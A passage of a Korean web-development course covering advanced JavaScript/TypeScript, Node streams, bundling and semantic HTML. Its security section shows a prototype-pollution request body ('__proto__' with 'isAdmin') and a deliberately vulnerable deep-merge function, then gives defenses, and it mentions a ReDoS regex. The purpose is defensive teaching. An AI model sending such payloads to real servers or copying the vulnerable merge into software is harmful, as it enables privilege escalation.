constructor(public from: number, public to: number) {}
*[Symbol.iterator]() { // for...of 지원 (🟨 j13)
for (let i = this.from; i <= this.to; i++) yield i;
}
[Symbol.toPrimitive](hint: string) { // 형변환 제어
return hint === "number" ? this.to - this.from : `${this.from}~${this.to}`;
}
get [Symbol.toStringTag]() { return "Range"; } // Object.prototype.toString
async *[Symbol.asyncIterator]() { ... } // for await 지원
}
[...new Range(1, 5)]; // [1,2,3,4,5]
+new Range(1, 5); // 4
`${new Range(1, 5)}`; // "1~5"
WeakMap · WeakRef
// WeakMap — 키 객체가 사라지면 값도 자동으로 수거됩니다
const meta = new WeakMap();
function attach(el, data) { meta.set(el, data); }
// el 이 DOM 에서 제거되면 → meta 의 항목도 자동 정리 ★
// 일반 Map 이었다면 el 이 영원히 살아남습니다 (메모리 누수)
// 제약: 순회 불가, size 없음, 키는 반드시 객체
// ★ 그래서 "객체에 부가 정보 붙이기"에만 씁니다
// 실무: private 데이터 저장 (클래스 #필드 이전의 방식)
const privates = new WeakMap();
class User {
constructor(pw) { privates.set(this, { pw }); }
check(input) { return privates.get(this).pw === input; }
}
// WeakRef — 값을 붙잡지 않는 참조 (ES2021)
const cache = new Map<string, WeakRef<BigObject>>();
function get(key: string) {
const ref = cache.get(key);
const cached = ref?.deref(); // ★ 수거됐으면 undefined
if (cached) return cached;
const fresh = expensiveLoad(key);
cache.set(key, new WeakRef(fresh));
registry.register(fresh, key); // 수거되면 아래 콜백이 key 를 받습니다
return fresh;
}
// FinalizationRegistry — 수거될 때 알림 (정리용)
const registry = new FinalizationRegistry((key: string) => {
if (!cache.get(key)?.deref()) cache.delete(key); // 죽은 참조만 제거 (새 값이면 유지)
});
함수형 패턴
버그를 줄이는 가장 확실한 방법 — 값을 바꾸지 않는 것.
불변성
// ❌ 원본을 바꾸면 "누가 언제 바꿨는지" 추적이 불가능해집니다
function addTag(user: User, tag: string) {
user.tags.push(tag); // 호출한 쪽의 객체가 변함
return user;
}
// ✅ 새 값을 만들어 반환
function addTag(user: User, tag: string): User {
return { ...user, tags: [...user.tags, tag] };
}
// 중첩이 깊으면 immer 로 (내부적으로 Proxy 사용 — d08)
import { produce } from "immer";
const next = produce(state, (draft) => {
draft.orders[0].items[2].qty = 5; // ★ 쓰기처럼 보이지만 새 객체가 만들어집니다
});
// 읽기 전용으로 타입 강제 (🔷 TS)
type ReadonlyUser = Readonly<{ tags: readonly string[] }>;
합성 · 커링 · 파이프
// 파이프 — 작은 함수를 이어 붙이기
const pipe = <T>(...fns: Array<(x: T) => T>) =>
(input: T) => fns.reduce((acc, fn) => fn(acc), input);
const normalize = pipe<string>(
s => s.trim(),
s => s.toLowerCase(),
s => s.replace(/\s+/g, "-"),
);
normalize(" Hello World "); // "hello-world"
// 커링 — 인자를 나눠 받기
const filterBy = <T>(pred: (x: T) => boolean) => (arr: T[]) => arr.filter(pred);
const onlyActive = filterBy<User>(u => u.active);
onlyActive(users);
// Result 타입 — 예외 대신 값으로 (Rust 스타일)
type Result<T, E = Error> =
| { ok: true; value: T }
| { ok: false; error: E };
async function safeParse<T>(fn: () => Promise<T>): Promise<Result<T>> {
try { return { ok: true, value: await fn() }; }
catch (e) { return { ok: false, error: e as Error }; }
}
const r = await safeParse(() => api.getUser(1));
if (!r.ok) return handle(r.error);
r.value.name; // ★ 타입이 좁혀집니다 (🔷 TS t04)
디자인 패턴 실전
이름을 알면 소통이 빨라집니다. 실제로 쓰이는 것만 모았습니다.
자주 쓰이는 것
// ① 전략(Strategy) — if/else 를 없앱니다
interface PaymentStrategy { pay(amount: number): Promise<Receipt>; }
const strategies: Record<Method, PaymentStrategy> = {
card: new CardPayment(),
bank: new BankTransfer(),
point: new PointPayment(),
};
await strategies[method].pay(amount); // ★ 새 수단 추가 시 이 코드는 안 바뀜
// ② 팩토리 — 생성 로직을 한 곳에
function createLogger(env: string): Logger {
return env === "production"
? new JsonLogger({ level: "info" })
: new PrettyLogger({ level: "debug" });
}
// ③ 어댑터 — 외부 라이브러리를 내 인터페이스로 감싸기
interface Storage { put(key: string, data: Buffer): Promise<string>; }
class S3Storage implements Storage { ... }
class LocalStorage implements Storage { ... }
// ★ 나중에 S3 → GCS 로 바꿔도 서비스 코드는 그대로
주의해서 쓸 것
// ④ 싱글턴 — 모듈 자체가 이미 싱글턴입니다
// db.ts
export const prisma = new PrismaClient(); // ★ import 하면 항상 같은 인스턴스
// ❌ 굳이 클래스로 만들 필요가 없습니다
class Database { private static instance: Database; ... }
// ⑤ 옵저버 — Node 는 EventEmitter 가 내장 (🟩 n07)
// ⑥ 데코레이터 — Nest 가 전부 이 방식 (🔷 t12)
// ⑦ 리포지토리 — 데이터 접근을 감춤
interface OrderRepository {
findById(id: string): Promise<Order | null>;
save(order: Order): Promise<void>;
}
// 서비스는 ORM 을 모릅니다 → Prisma → Drizzle 교체가 가능
// ⑧ 유닛 오브 워크 — 여러 저장을 한 트랜잭션으로 (🐈 Nest s12)
타입 레벨 프로그래밍
🔷 TS t17 의 실전편. 어디에 실제로 쓰이는지 봅니다.
실제 라이브러리가 하는 일
// ① tRPC — 서버 라우터에서 클라이언트 타입이 자동으로 나옵니다
const appRouter = router({
user: router({
byId: publicProcedure
.input(z.object({ id: z.number() }))
.query(({ input }) => db.user.findUnique({ where: { id: input.id } })),
}),
});
export type AppRouter = typeof appRouter;
// 클라이언트 — 코드 생성 없이 타입이 그대로 흐릅니다 ★
const user = await trpc.user.byId.query({ id: 1 }); // 반환 타입 자동 추론
trpc.user.byId.query({ id: "1" }); // ❌ 컴파일 에러
// ② Prisma — select 에 따라 반환 타입이 달라집니다
const a = await prisma.user.findMany();
// { id, email, name, createdAt }[]
const b = await prisma.user.findMany({ select: { id: true, email: true } });
// { id, email }[] ★ 정확히 고른 것만
// 이것을 가능하게 하는 것이 조건부 타입 + 매핑드 타입입니다
직접 만들어 보기 — 사내 라이브러리용
// 이벤트 버스에 타입 안전성 부여
type EventMap = {
"order.created": { orderId: string; amount: number };
"user.login": { userId: number; ip: string };
};
class TypedEmitter<T extends Record<string, unknown>> {
private handlers = new Map<keyof T, Set<(p: never) => void>>();
on<K extends keyof T>(event: K, fn: (payload: T[K]) => void) {
if (!this.handlers.has(event)) this.handlers.set(event, new Set());
this.handlers.get(event)!.add(fn as never);
return () => this.handlers.get(event)!.delete(fn as never);
}
emit<K extends keyof T>(event: K, payload: T[K]) {
this.handlers.get(event)?.forEach(fn => (fn as (p: T[K]) => void)(payload));
}
}
const bus = new TypedEmitter<EventMap>();
bus.on("order.created", (p) => p.amount); // ✅ amount 자동완성
bus.emit("order.created", { userId: 1 }); // ❌ 잡힘 ★
// 설정 객체의 경로를 문자열로 안전하게 (i18n·폼에서 자주)
type Paths<T, P extends string = ""> = T extends object
? { [K in keyof T & string]:
| (P extends "" ? K : `${P}.${K}`)
| Paths<T[K], P extends "" ? K : `${P}.${K}`> }[keyof T & string]
: never;
declare function t<K extends Paths<typeof messages>>(key: K): string;
t("user.profile.title"); // ✅
t("user.profile.titel"); // ❌ 오타를 컴파일 단계에서
보안 — 공급망 · 프로토타입 오염
내 코드보다 가져다 쓴 패키지가 더 위험합니다.
프로토타입 오염
// 공격 요청
POST /api/config
{ "__proto__": { "isAdmin": true } }
// 취약한 코드 — 깊은 병합
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === "object") {
target[key] ??= {};
merge(target[key], source[key]); // ❌ __proto__ 를 그대로 따라감
} else target[key] = source[key];
}
}
merge({}, JSON.parse(body));
// 결과: 모든 객체가 isAdmin 을 갖게 됩니다
({}).isAdmin; // true ★ 권한 검사가 통째로 뚫립니다
// ✅ 방어
const DANGEROUS = ["__proto__", "constructor", "prototype"];
if (DANGEROUS.includes(key)) continue;
// ✅ 더 확실한 방법
const safe = Object.create(null); // 프로토타입이 없는 객체
const map = new Map(Object.entries(input)); // 키-값 저장은 Map 으로 — 프로토타입과 무관
// ✅ 가장 확실 — 스키마 검증 (🧰 도구 o07)
const data = ConfigSchema.parse(body); // 정의된 키만 통과
// ✅ 실행 시 전역 보호
Object.freeze(Object.prototype);
/(a+)+$/ 같은 정규식에 긴 문자열을 넣으면
지수적으로 시간이 폭발해 이벤트 루프가 멈춥니다.
사용자 입력을 정규식으로 만들지 말고,
복잡한 패턴은 re2 같은 안전한 엔진을 쓰세요.
공급망 공격
실제로 일어난 일들
· event-stream — 인기 패키지가 인수되어 악성 코드 삽입
· ua-parser-js — 계정 탈취 후 악성 버전 배포
· node-ipc — 정치적 이유로 파일 삭제 코드 추가
· 타이포스쿼팅 — "expres", "loadash" 등 오타 노린 패키지
공격 경로
① postinstall 스크립트가 자동 실행됨
② 의존성의 의존성(내가 모르는 패키지)
③ 유지보수자 계정 탈취
# 방어
npm audit # ★ CI 에 포함
npm ci --ignore-scripts # postinstall 차단 (가능하면)
npm ls --all | wc -l # 실제 의존성 수 확인 (충격적일 수 있습니다)
# 잠금·검증
npm ci # lock 그대로 (o01)
npm config set audit-level=high
# 도구
npx socket security # 위험 신호 분석
npx @lavamoat/allow-scripts # 스크립트 화이트리스트
그 밖의 체크리스트
- ☐ 비밀 값이 코드·이미지·로그에 없는가 (🧰 o09)
- ☐ 의존성 자동 업데이트(renovate)가 켜져 있는가
- ☐
eval·new Function·child_process.exec에 사용자 입력이 들어가지 않는가 - ☐ JWT 검증에서
algorithm을 명시했는가 (🚂 x07) - ☐ 파일 경로에 사용자 입력이 들어갈 때 검증하는가 (🟩 n04)
- ☐ 에러 응답에 스택·내부 경로가 안 나가는가
성능 최적화 종합
지금까지의 내용을 실행 순서로 정리합니다.
효과 크기 순서 — 이 순서로 하세요
| 순위 | 항목 · 기대 효과 |
|---|---|
| 1 | 알고리즘·쿼리 — O(n²)→O(n), 인덱스 추가. 10~1000배 |
| 2 | N+1 제거 · 병렬화 — 순차 await → Promise.all. 5~50배 |
| 3 | 캐시 — Redis·로컬. 10~100배(적중 시) |
| 4 | 이벤트 루프 해방 — 동기 코드 제거·워커. 처리량 수 배 |
| 5 | 페이로드 축소 — 필요한 필드만·압축. 2~5배 |
| 6 | 커넥션 재사용·풀 튜닝. 10~30% |
| 7 | V8 미시 최적화(d02). 보통 5% 미만 |
for vs forEach 를 고민하는 동안
인덱스 하나가 응답을 800ms → 8ms 로 만듭니다.
항상 위에서부터 확인하세요.
실전 체크리스트
[측정]
☐ 이벤트 루프 지연 p99 (🚀 k02)
☐ 슬로우 쿼리 로그
☐ CPU 프로파일 (d06)
☐ 힙 추이 (d04)
[코드]
☐ 순차 await 를 Promise.all 로 (동시 실행 수 제한 포함)
☐ 동기 API(readFileSync·pbkdf2Sync) 제거
☐ 큰 JSON·정규식·정렬을 워커로
☐ 필요한 필드만 select
☐ 반복문 안의 await 를 배치로
[인프라]
☐ HTTP 커넥션 재사용 (keep-alive)
☐ 응답 압축 (gzip·brotli)
☐ 정적 파일은 CDN
☐ DB 커넥션 풀 크기 (🚀 k10)
☐ --max-old-space-size 지정
// 자주 놓치는 것 ① — HTTP 커넥션 재사용
import { Agent, setGlobalDispatcher } from "undici";
setGlobalDispatcher(new Agent({ connections: 100, keepAliveTimeout: 60_000 }));
// ★ 매 요청마다 TCP+TLS 핸드셰이크를 하면 50~200ms 를 그냥 버립니다
// 자주 놓치는 것 ② — 응답에서 필요 없는 필드 제거
// 100KB 응답 → 10KB 로 줄이면 직렬화·전송·파싱이 모두 10배 빨라집니다
아키텍처 — 계층 · DDD
규모가 커지면 폴더 구조가 곧 설계가 됩니다.
의존 방향을 한쪽으로
핵심 규칙 하나
안쪽(도메인)은 바깥(인프라)을 몰라야 합니다.
❌ domain/Order.ts 가 prisma 를 import
✅ domain 이 OrderRepository "인터페이스"를 정의하고
infra 가 그것을 구현 (의존성 역전)
현실적인 적용
src/
modules/
order/
domain/
order.entity.ts 비즈니스 규칙 (프레임워크 무관)
order.repository.ts ★ 인터페이스만
application/
create-order.usecase.ts 트랜잭션 경계
infra/
prisma-order.repository.ts 구현
payment-gateway.adapter.ts
interface/
order.controller.ts
order.consumer.ts ★ 같은 유스케이스를 큐에서도 호출
shared/
// 도메인 — 규칙이 여기 모입니다
export class Order {
private constructor(
readonly id: OrderId,
private status: OrderStatus,
private readonly items: OrderItem[],
) {}
static create(items: OrderItem[]): Order {
if (items.length === 0) throw new EmptyOrderError();
return new Order(OrderId.generate(), "PENDING", items);
}
cancel(): void {
if (this.status === "SHIPPED") throw new CannotCancelError();
this.status = "CANCELLED"; // ★ 규칙이 엔티티 안에
}
get total(): number {
return this.items.reduce((s, i) => s + i.subtotal, 0);
}
}
WebAssembly · 네이티브 애드온
자바스크립트가 구조적으로 못 따라가는 구간을 다른 언어로 채웁니다.
선택지
| 방법 | 특징 |
|---|---|
| napi-rs (Rust) | ★ 요즘 표준. Node 애드온을 Rust 로. swc·Prisma 엔진·lightningcss 가 이 방식 |
| WebAssembly | 브라우저·Node·Deno 어디서나 동작. 샌드박스라 안전하지만 시스템 접근이 제한적 |
| node-gyp (C++) | 전통 방식. 빌드 환경 문제로 고생이 많습니다 |
| WASI | WASM 에 파일·소켓 접근을 더한 표준. 아직 발전 중 |
// napi-rs — Rust 로 Node 애드온
use napi_derive::napi;
#[napi]
pub fn parse_logs(input: String) -> Vec<String> {
input.lines().filter(|l| l.contains("ERROR"))
.map(String::from).collect()
}
// ★ 무거운 작업은 별도 스레드에서 (이벤트 루프를 안 막습니다)
#[napi]
pub async fn heavy_task(data: Vec<u8>) -> napi::Result<u32> {
tokio::task::spawn_blocking(move || compute(&data))
.await.map_err(|e| napi::Error::from_reason(e.to_string()))
}
npm i -D @napi-rs/cli
napi build --platform --release
# → index.node 생성 · package.json 의 optionalDependencies 로 플랫폼별 배포
WebAssembly 쓰기
// Node 에서 wasm 로드
import { readFile } from "node:fs/promises";
const bytes = await readFile("./image.wasm");
const { instance } = await WebAssembly.instantiate(bytes, {
env: { log: (ptr, len) => console.log(decode(ptr, len)) },
});
// ★ 메모리는 직접 다뤄야 합니다 (문자열·배열을 그냥 못 넘깁니다)
const memory = instance.exports.memory;
function passString(str) {
const bytes = new TextEncoder().encode(str);
const ptr = instance.exports.alloc(bytes.length); // wasm 쪽 할당 함수
// ★ 뷰는 할당 "뒤에" 만듭니다 — alloc 이 메모리를 늘리면 예전 뷰는 길이 0 으로 무효가 됩니다
const view = new Uint8Array(memory.buffer);
view.set(bytes, ptr);
return [ptr, bytes.length];
}
// wasm-bindgen(Rust)·AssemblyScript 를 쓰면 이 변환을 자동화해 줍니다
WASM 이 실제로 값을 하는 경우
· 이미지·비디오 처리 (ffmpeg.wasm · squoosh)
· 암호화·해시 · 압축
· 파서 · 정규식 엔진 (swc · esbuild 는 네이티브)
· 물리 엔진 · 시뮬레이션
· 브라우저에서 기존 C/C++ 라이브러리 재사용
값을 못 하는 경우
· DOM 조작 (JS 를 거쳐야 해서 오히려 느림)
· 짧은 함수 호출 반복 (경계를 넘는 비용이 큼)
· 문자열이 많이 오가는 작업 (직렬화 비용)
스트림 · 백프레셔 심화
🟩 Node n05 의 확장판. 메모리가 터지는 진짜 이유를 봅니다.
백프레셔 — 읽는 속도 > 쓰는 속도
파일 읽기 500MB/s → 네트워크 쓰기 10MB/s
조절이 없으면
읽은 데이터가 메모리 버퍼에 계속 쌓임 → OOM
highWaterMark (기본 64KB / objectMode 는 16개)
버퍼가 이 값을 넘으면 write() 가 false 를 반환
→ 읽기를 멈추고 'drain' 이벤트를 기다려야 합니다
★ pipe / pipeline 은 이것을 자동으로 해 줍니다.
직접 'data' 이벤트로 처리하면 이 보호가 사라집니다.
❌ 백프레셔 무시
readable.on("data", (chunk) => {
writable.write(chunk);
// 반환값을 무시 →
// 버퍼가 무한히 쌓임
});
✅ pipeline
import { pipeline } from
"node:stream/promises";
await pipeline(readable,
transform,
writable);
// 속도 조절 + 에러 + 정리
// 직접 제어해야 한다면
for await (const chunk of readable) {
if (!writable.write(chunk)) {
await once(writable, "drain"); // ★ 버퍼가 비워질 때까지 대기
}
}
Web Streams 와 상호 변환
// Node 스트림 ↔ Web 스트림 (fetch·브라우저 호환)
import { Readable, Writable } from "node:stream";
const webStream = Readable.toWeb(nodeReadable);
const nodeStream = Readable.fromWeb(response.body);
// fetch 응답을 스트리밍으로 처리 (메모리에 다 안 올림)
const res = await fetch(url);
await pipeline(
Readable.fromWeb(res.body),
createGunzip(),
createWriteStream("out.json"),
);
// TransformStream (Web 표준) — 브라우저·Node 공통
const upper = new TransformStream({
transform(chunk, controller) {
controller.enqueue(chunk.toUpperCase());
},
});
// 실전 — 대용량 CSV 를 DB 로 (메모리 일정)
import { pipeline } from "node:stream/promises";
import { parse } from "csv-parse";
let batch = [];
await pipeline(
createReadStream("10gb.csv"),
parse({ columns: true }),
async function* (source) {
for await (const row of source) {
batch.push(row);
if (batch.length >= 1000) { // ★ 배치로 모아서
await db.insertMany(batch);
batch = [];
yield `${row.id}\n`; // 진행 상황
}
}
if (batch.length) await db.insertMany(batch);
},
createWriteStream("progress.log"),
);
pipe 는 에러가 나도 앞 스트림을 닫지 않아
파일 디스크립터가 새어 나갑니다.
항상 pipeline 을 쓰고, AbortSignal 로
취소도 함께 다루세요(d07).
번들 · 트리셰이킹 심화
“번들이 왜 이렇게 크죠?”를 실제로 해결하는 방법.
트리셰이킹이 안 되는 이유
// ① CommonJS 는 정적 분석이 안 됩니다
const _ = require("lodash"); // ❌ 전부 포함 (70KB+)
import { debounce } from "lodash-es"; // ✅ ESM 이라 필요한 것만
// ② 부수 효과가 있다고 판단되면 못 지웁니다
// package.json 에 명시하세요
{ "sideEffects": false } // 부수 효과 없음
{ "sideEffects": ["*.css", "./src/polyfill.js"] } // 이것만 있음
// ③ 배럴 파일 (index.ts 에서 몰아 export)
export * from "./a"; export * from "./b"; // ...50개
// → 하나만 import 해도 전부 평가될 수 있습니다
// ★ 라이브러리에서는 피하고, 앱에서는 경로를 직접 import
// ④ 클래스는 메서드 단위로 못 지웁니다
class Utils { a(){} b(){} } // a 만 써도 b 가 남습니다
export function a(){} // ✅ 함수로 나누면 지워집니다
# 무엇이 번들을 키우는지 눈으로 보기
npx vite-bundle-visualizer
npx source-map-explorer dist/assets/*.js
npx esbuild-visualizer --metadata meta.json
# 설치 전에 크기 확인
npx package-size lodash date-fns dayjs
코드 스플리팅과 로딩 전략
// 동적 import — 필요할 때만 받아옵니다
const { Chart } = await import("./Chart.js"); // 라우트·모달 단위
// 프리로드 힌트 (곧 쓸 것을 미리)
import(/* webpackPrefetch: true */ "./Heavy.js");
// 벤더 청크 분리 — 자주 안 바뀌는 것을 따로 (캐시 효율)
build: {
rollupOptions: {
output: {
manualChunks(id) {
if (id.includes("node_modules")) {
if (id.includes("react")) return "react";
return "vendor";
}
},
},
},
}
실무에서 번들을 줄인 사례
moment → date-fns -230KB
lodash → lodash-es -60KB (개별 import)
axios → fetch(내장) -35KB
전체 아이콘 → 쓰는 것만 -100KB+
polyfill 재검토 -50KB (타깃 브라우저 확인)
★ 가장 큰 효과는 "안 쓰는 라이브러리를 지우는 것"입니다.
번들러 설정을 만지기 전에 의존성 목록부터 보세요.
// 라이브러리를 만든다면 — 소비자의 트리셰이킹을 돕는 방법
{
"type": "module",
"sideEffects": false, // ★
"exports": {
".": "./dist/index.js",
"./utils": "./dist/utils.js", // ★ 하위 경로 노출
"./package.json": "./package.json"
}
}
// 하위 경로를 열어 두면 사용자가 필요한 것만 가져갈 수 있습니다
태그를
외우는 게
아니라
의미를 고른다
HTML 은 배우기 쉬운데 잘 쓰기는 어려운 언어입니다.
<div> 만으로도 화면은 나오기 때문입니다.
이 탭은 왜 그 태그여야 하는가를 기준으로 정리했습니다 —
올바른 태그는 검색 · 접근성 · 키보드 조작 · 폼 검증을 공짜로 얻는 방법입니다.
여기까지 마치면 스크린리더와 검색 엔진이 함께 읽을 수 있는 문서를 짤 수 있습니다.
HTML 은 디자인이 아니라 의미
브라우저는 태그를 보고 역할을 판단합니다. 모양은 CSS 가 따로 정합니다.
같은 화면, 다른 결과
<!-- ✗ 모양만 버튼 -->
<div class="btn" onclick="save()">저장</div>
<!-- ✓ 진짜 버튼 -->
<button type="button" onclick="save()">저장</button>
| 얻는 것 | div | button |
|---|---|---|
| Tab 으로 이동 | ✗ | ✓ |
| Enter · Space 로 실행 | ✗ | ✓ |
| 낭독기가 "버튼"이라 읽음 | ✗ | ✓ |
:focus-visible 테두리 | ✗ | ✓ |
비활성화(disabled) | ✗ | ✓ |
tabindex, 키 핸들러, role, aria-disabled…
올바른 태그 하나가 그걸 전부 대신합니다.
태그를 고르는 한 줄 기준
누른다 → button (페이지 안에서 무언가 실행)
이동한다 → a href (주소가 바뀐다)
제목이다 → h1 ~ h6
목록이다 → ul / ol / li
입력받는다 → input / textarea / select + label
표다 → table (수치 데이터. 레이아웃 용도 ✗)
그 외 묶음 → div (의미 없는 상자)
글 묶음 → p, section, article
<a> 는 주소가 있는 이동입니다 —
새 탭으로 열기·주소 복사가 됩니다.
주소가 없는데 <a href="#"> 를 쓰면
키보드 사용자가 링크인 줄 알고 눌렀다가 페이지 맨 위로 튑니다.
문서의 기본 골격
복붙해서 쓰는 뼈대입니다. 줄마다 이유가 있습니다.
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>페이지 제목 — 사이트 이름</title>
<meta name="description" content="검색 결과에 뜨는 두 줄 설명">
<link rel="stylesheet" href="/style.css">
</head>
<body>
<a class="skip" href="#main">본문 바로가기</a>
<header>…</header>
<main id="main">…</main>
<footer>…</footer>
<script src="/app.js" defer></script>
</body>
</html>
| 줄 | 없으면 생기는 일 |
|---|---|
<!doctype html> | 브라우저가 호환 모드로 떨어져 CSS 계산이 옛날 방식이 됩니다 |
lang="ko" | 낭독기가 영어 발음으로 한글을 읽습니다. 번역 도구도 오작동 |
charset="utf-8" | 한글이 깨집니다. head 의 첫 줄에 두세요 |
viewport | 모바일에서 PC 화면을 축소해 보여 줍니다 (글씨가 개미만 해짐) |
title | 브라우저 탭·북마크·검색 결과 제목이 비어 버립니다 |
.skip{position:absolute;left:-9999px} .skip:focus{left:8px;top:8px}
본문 구조 — 태그를 의미로 고르면 얻는 것
div 로만 짠 것과 무엇이 다른가
<!-- ✗ 전부 div — 기계가 읽을 단서가 없습니다 -->
<div class="header">
<div class="nav"><div class="item">홈</div></div>
</div>
<div class="content">
<div class="title">제목</div>
<div class="btn" onclick="save()">저장</div>
</div>
<!-- ✓ 의미 있는 태그 — 같은 화면, 다른 결과 -->
<header>
<nav aria-label="주 메뉴">
<ul><li><a href="/">홈</a></li></ul>
</nav>
</header>
<main id="main">
<h1>제목</h1>
<article>
<h2>소제목</h2>
<p>본문</p>
</article>
<button type="button" onclick="save()">저장</button>
</main>
<footer><p>© 2026</p></footer>
| 얻는 것 | 설명 |
|---|---|
| 키보드 조작 | button 은 Tab·Enter·Space 가 그냥 됩니다. div 는 직접 다 구현해야 합니다 |
| 스크린 리더 | "주 메뉴, 목록, 항목 1/5" 처럼 구조를 읽어 줍니다 |
| 검색·공유 | 크롤러가 제목·본문을 구분합니다 |
| 브라우저 기능 | 읽기 모드 · 번역 · 자동 완성이 정확해집니다 |
| CSS 가 짧아짐 | 클래스를 덜 만들게 됩니다 |
<div onclick> 은 버튼이 아닙니다.
마우스로는 눌리지만 Tab 으로 갈 수 없고, Enter 로 눌리지 않고,
스크린 리더가 "버튼"이라고 알려 주지 않습니다.
tabindex·role·키 이벤트를 전부 직접 붙여야 겨우 비슷해집니다 —
<button type="button"> 한 줄이면 끝나는 일입니다.
어떤 태그를 언제
| 태그 | 쓸 곳 · 주의 |
|---|---|
<main> | 페이지당 하나. 헤더·푸터를 뺀 고유 내용 |
<article> | 떼어 내도 말이 되는 단위 — 글·상품 카드·댓글 |
<section> | 주제 묶음. 제목(h2~)이 있을 때만 쓰세요 |
<nav> | 주요 이동 링크 묶음. 여러 개면 aria-label 로 구분 |
<aside> | 본문과 간접적으로만 관련 — 광고·관련 글 |
<figure>·<figcaption> | 이미지·코드 + 설명 |
<time datetime> | 기계가 읽을 날짜 — <time datetime="2026-08-07"> |
<div> | 의미가 없고 순수하게 스타일 묶음일 때만 |
<!-- 제목 레벨은 건너뛰지 마세요 (h1 → h3 ✗) -->
<h1>문서 제목</h1> <!-- 페이지당 하나 -->
<h2>큰 절</h2>
<h3>작은 절</h3>
<h2>다음 절</h2>
<!-- "크게 보이려고" h 를 쓰지 마세요 — 크기는 CSS 로 -->
<h2 class="text-sm">구조상 h2 지만 작게 보임</h2>
<!-- 목록은 진짜 목록으로 (스크린 리더가 개수를 알려 줍니다) -->
<ul><li>…</li></ul> <!-- 순서 없음 -->
<ol><li>…</li></ol> <!-- 순서 있음 (단계·순위) -->
<dl><dt>용어</dt><dd>뜻</dd></dl>
<!-- 강조도 의미가 다릅니다 -->
<strong>중요함</strong> <b>굵게만</b>
<em>강조해 읽음</em> <i>기울임만</i>
div 만 잔뜩 나열돼 있다면 구조가 없는 것이고,
제목·목록·버튼이 이름과 함께 보이면 잘 짠 것입니다.
Lighthouse 접근성 점수보다 이 화면이 훨씬 많은 것을 알려 줍니다.
제목 · 문단 · 목록
제목 태그는 글자 크기가 아니라 문서의 목차입니다.
제목은 건너뛰지 않는다
<!-- ✓ 계단처럼 -->
<h1>가이드</h1>
<h2>설치</h2>
<h3>윈도우</h3>
<h3>맥</h3>
<h2>사용법</h2>
<!-- ✗ h1 다음에 바로 h4 (작아 보여서) -->
<h1>가이드</h1>
<h4>설치</h4>
h2{font-size:1rem} 는 아무 문제가 없습니다.
목록 · 인용 · 강조
<ul> <!-- 순서 없음 -->
<li>사과</li>
</ul>
<ol> <!-- 순서 있음 (1,2,3) -->
<li>물을 끓인다</li>
</ol>
<dl> <!-- 용어 : 설명 -->
<dt>HTML</dt>
<dd>문서의 구조를 적는 언어</dd>
</dl>
<strong>중요</strong> <!-- 의미상 중요 (낭독기가 강조) -->
<b>굵게</b> <!-- 그냥 시각적 굵기 -->
<em>강조</em> <!-- 의미상 강조 -->
<i>기울임</i> <!-- 그냥 시각적 -->
<div> 를 줄줄이 세우면 그 정보가 사라집니다.
제목은 크기가 아니라 목차입니다
크기로 고른 제목
h1 사이트 이름
h3 오늘의 특가 ← "h2는 너무 커서"
h1 인기 상품 ← "눈에 띄게"
h4 공지사항
낭독기의 목차 기능이
뒤죽박죽 — 건너뛰며
탐색할 수 없습니다
구조로 고른 제목
h1 여름 세일 (페이지에 하나)
h2 오늘의 특가
h3 가전
h3 패션
h2 인기 상품
h2 공지사항
책의 목차처럼 단계가
빠짐없이 이어집니다
크기는 CSS 로 따로!
링크와 이미지
alt 는 장식이 아니라 그 이미지가 하는 말입니다.
링크
<a href="/price">요금제</a>
<!-- 새 탭 — rel 을 반드시 함께 -->
<a href="https://example.com" target="_blank"
rel="noopener noreferrer">외부 사이트 (새 탭)</a>
<!-- 파일 내려받기 -->
<a href="/guide.pdf" download>PDF 내려받기</a>
<!-- 전화 · 메일 -->
<a href="tel:01012345678">010-1234-5678</a>
<a href="mailto:me@example.com">메일 보내기</a>
이미지
<!-- 내용이 있는 이미지 -->
<img src="chart.png" width="800" height="400"
alt="2026년 분기별 매출 — 3분기에 40% 상승">
<!-- 장식용(옆에 같은 설명이 이미 있음) -->
<img src="deco.svg" alt="" aria-hidden="true">
<!-- 화면 크기별로 다른 파일 -->
<img src="s.jpg" alt="…"
srcset="s.jpg 480w, m.jpg 960w, l.jpg 1920w"
sizes="(max-width:600px) 100vw, 50vw">
<!-- 첫 화면 밖 이미지는 늦게 -->
<img src="below.jpg" alt="…" loading="lazy" decoding="async">
width·height 를 꼭 적으세요.
브라우저가 자리를 미리 잡아 두므로
이미지가 늦게 떠도 글이 아래로 밀리지 않습니다(레이아웃 이동 방지).
CSS 로 크기를 바꿔도 비율 계산에만 쓰이니 안전합니다.
폼 — label 이 절반
입력칸에는 반드시 이름표가 붙어야 합니다. placeholder 는 이름표가 아닙니다.
<form action="/signup" method="post">
<!-- ✓ for ↔ id 로 연결 -->
<label for="email">이메일</label>
<input id="email" name="email" type="email"
autocomplete="email" required>
<label for="pw">비밀번호</label>
<input id="pw" name="pw" type="password"
autocomplete="new-password" minlength="8" required>
<!-- 라디오·체크박스는 fieldset 으로 묶는다 -->
<fieldset>
<legend>알림 받기</legend>
<label><input type="radio" name="noti" value="y"> 받음</label>
<label><input type="radio" name="noti" value="n"> 안 받음</label>
</fieldset>
<button type="submit">가입</button>
</form>
| 속성 | 하는 일 |
|---|---|
name | 서버로 보내는 키. 없으면 그 값은 전송되지 않습니다 |
type | 모바일 키보드 모양이 바뀝니다 (email → @ 키, tel → 숫자판) |
autocomplete | 브라우저 자동완성. 주소·카드 입력에서 이탈률을 크게 줄입니다 |
required·minlength | JS 없이 브라우저가 검사하고 메시지를 띄웁니다 |
inputmode | 키보드만 바꾸고 싶을 때 (numeric 등) |
.sr-only) 남겨 두세요.
그대로 쓰는 회원가입 폼 — 태그만으로 여기까지 됩니다
<form method="post" action="/signup">
<div class="field">
<label for="email">이메일</label>
<input id="email" name="email" type="email" required
autocomplete="email" inputmode="email"
aria-describedby="email-hint">
<p id="email-hint" class="hint">로그인에 사용됩니다</p>
</div>
<div class="field">
<label for="pw">비밀번호</label>
<input id="pw" name="pw" type="password" required
minlength="8" autocomplete="new-password">
</div>
<fieldset> <!-- 라디오·체크박스 묶음 -->
<legend>수신 동의</legend>
<label><input type="checkbox" name="agree" value="mail"> 메일</label>
<label><input type="checkbox" name="agree" value="sms"> 문자</label>
</fieldset>
<button>가입하기</button> <!-- form 안 기본 type 은 submit -->
</form>
| 이 폼이 공짜로 얻은 것 | 어떤 속성 덕분에 |
|---|---|
| 모바일에서 이메일 키보드 | type="email" · inputmode |
